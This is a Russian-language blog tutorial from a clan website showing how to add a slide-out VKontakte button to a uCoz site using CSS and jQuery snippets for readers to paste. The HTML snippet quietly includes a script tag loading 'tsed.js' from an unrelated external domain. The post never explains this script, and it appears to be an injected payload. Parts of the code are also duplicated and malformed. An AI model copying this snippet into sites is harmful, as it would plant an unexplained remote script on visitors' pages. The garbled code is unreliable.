Сайт клана TBW // Выдвижная кнопка ВКонтакте для uCoz - 15 Декабря 2012
Выдвижная кнопка ВКонтакте для uCoz
0
Информация
- Просмотров: 427
- Теги:
Этак кнопка будет находиться в правой части сайта. В состоянии покоя показывается только буква «В», а при наведении на эту самую букву выдвигается остальная часть, и теперь можно увидеть полную надпись, «ВКонтакте». Выдвижную кнопка ВКонтакте для uCoz можно установить и на сайте с другогим хостингом, пример Вы можете увидеть справа.
Установка
1.) Открываем Панель управления, находим Таблицу стилей (CSS), и вставляем вот этот код:
Code
#vkontakte_button img {
position: fixed;
top:125px;
right: -76px;
z-index: 99999;
cursor: pointer;
display: block;
}
position: fixed;
top:125px;
right: -76px;
z-index: 99999;
cursor: pointer;
display: block;
}
2.) Следующий код вставляем в любое место на странице между head и /head:
Code
<script type="text/javascript">
$(function($) {
$("#vkontakte_button img").hover(
function () {
$(this).animate({right: '0'}, {queue:false, duration: 350});
//$(this).css('right', '0');
},
function () {
$(this).animate({right: '-76px'}, {queue:false, duration: 350});
// $(this).css('right', '-76px');
}
);
});
</script>
<a id="vkontakte_button" href="http://vkontakte.ru/id23....25" onclick="webChatOpen();return false;">
<img alt="ВКонтакте" src="http://bambun.ru/images/26762164.gif"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
</a>
$(function($) {
$("#vkontakte_button img").hover(
function () {
$(this).animate({right: '0'}, {queue:false, duration: 350});
//$(this).css('right', '0');
},
function () {
$(this).animate({right: '-76px'}, {queue:false, duration: 350});
// $(this).css('right', '-76px');
}
);
});
</script>
<a id="vkontakte_button" href="http://vkontakte.ru/id23....25" onclick="webChatOpen();return false;">
<img alt="ВКонтакте" src="http://bambun.ru/images/26762164.gif"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
</a>
Настройка скрипта
Находим строчку в скрипте вот такую: http://vkontakte.ru/id23....25 и заменяем на свой линк..
Вот и все, установка и настройка завершена.
Комментарии к "материалу"
Добавить комментарий
Меню сайта
Поиск
Архив записей
- 2011 Сентябрь
- 2011 Ноябрь
- 2011 Декабрь
- 2012 Январь
- 2012 Март
- 2012 Май
- 2012 Август
- 2012 Октябрь
- 2012 Ноябрь
- 2012 Декабрь
- 2013 Январь
- 2013 Февраль
- 2013 Март
- 2013 Апрель
- 2013 Май
- 2013 Июнь
- 2013 Июль
- 2013 Август
- 2013 Сентябрь
- 2013 Октябрь
- 2013 Ноябрь
- 2013 Декабрь
- 2014 Январь
- 2014 Февраль
- 2014 Март
- 2014 Август
- 2014 Сентябрь
- 2015 Январь
- 2015 Февраль
Наш опрос
Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0